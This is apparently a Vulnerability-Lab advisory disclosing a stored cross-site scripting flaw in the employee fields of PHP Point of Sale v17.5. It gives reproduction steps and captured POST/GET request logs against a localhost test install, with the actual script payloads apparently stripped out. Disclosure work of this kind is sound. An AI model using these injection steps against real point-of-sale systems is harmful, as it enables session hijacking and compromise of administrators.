Document Title: =============== POS PHP v17.5 - (Employees) Persistent Web Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2230 Release Date: ============= 2020-04-29 Vulnerability Laboratory ID (VL-ID): ==================================== 2230 Common Vulnerability Scoring System: ==================================== 4.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Turn your Retail Small Business into a Customer Focused, Profit Generating Machine. Guaranteed to save you time, increase the accuracy of your inventory, and help you make informed decisions for your business. Types of businesses that work great with PHP Point of Sale. (Copy of the Homepage: https://phppointofsale.com/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site scripting web vulnerability in the POS PHP v17.5 web-application. Vulnerability Disclosure Timeline: ================================== 2020-04-30: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Full Disclosure Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official POS PHP v17.5 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent web vulnerability is located in the first_name, last_name and phone_number parameters of the employee module. Remote attackers are able to edit / add malicious script code as first_name, last_name or phone_number to ./employees or /employees/view modules. Thus allows to execute the script code with persistent attack vector against administrators in the backend. The request method to inject is POST via add or edit of the employee values and the attack vector is located on the application-side. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Employees Vulnerable Input(s): [+] Firstname [+] Lastname [+] Phone Vulnerable File(s): [+] index.php/employees/save/ Vulnerable Parameter(s): [+] first_name [+] last_name [+] phone_number Affected Module(s): [+] index.php/employees [+] index.php/employees/view/ Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the php pos application newst version (17.5) 2. Login with the restricted user privileges 3. Move to profile edit on top 4. Inject payload to the vulnerability input fields 5. Save the entries and wait until a higher privileged user account interacts on preview in the backend Note: In case of an implemented registration its not required to receive an account by higher privileged managers or admins 6. Successful reproduce of the persistent cross site scripting web vulnerability! PoC: Vulnerable Source
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PoC: Payload > --- PoC Session Logs [POST] --- (Injection Point) https://phppos.localhost:8080/index.php/employees/save/ Host: phppos.localhost:8080 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------309283418139309833812445367446 Content-Length: 4896 Origin: https://phppos.localhost:8080 Connection: keep-alive Referer: https://phppos.localhost:8080/index.php/employees/view/-1/ Cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn first_name=a>& last_name=b>&email=3133723@protonmail.com &phone_number=c>&image_id=&address_1=dtest& address_2=etest&city=ftest& state=gtest&zip=htest& country=itest&comments=jtest&login_start_time=&login_end_time=&max_discount_percent=&commission_percent=0& commission_percent_type=selling_price&hourly_pay_rate=0&hire_date=&birthday=&employee_number=&language=english& default_register=&locations[]=1&redirect_code=0&files[]=,,,,& username=k>& password=ntest&repeat_password=mtest& reason_inactive=&termination_date= - Add (Save) POST: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 content-length: 159 server: Apache set-cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn; path=/; HttpOnly vary: Accept-Encoding content-encoding: gzip Note: The same way the attacker can use the basic profile way to change the firstname / lastname and username. The inject can be performed in case a registration is implemented by manager or admins via wp or other modules. URL: https://phppos.localhost:8080/index.php/home/edit_profile --- PoC Session Logs [GET] --- (Execution Point) https://phppos.localhost:8080/index.php/employees/view/6?redirect=items Host: phppos.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: https://phppos.localhost:8080/index.php/employees Connection: keep-alive Cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn - Employee Edit Item GET: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 content-length: 27774 server: Apache set-cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn; path=/; HttpOnly vary: Accept-Encoding content-encoding: gzip - https://phppos.localhost:8080/index.php/employees Host: phppos.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: https://phppos.localhost:8080/index.php/employees Connection: keep-alive Cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn - GET: HTTP/2.0 200 OK content-type: text/html; charset=UTF-8 content-length: 11809 server: Apache set-cookie: phppos=sdvg98ltusveq4b1cvmft3ukknk72htn; path=/; HttpOnly vary: Accept-Encoding content-encoding: gzip Reference(s): https://phppos.localhost:8080/index.php https://phppos.localhost:8080/index.php/employees https://phppos.localhost:8080/index.php/employees/view/ https://phppos.localhost:8080/index.php/employees/save/ Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. 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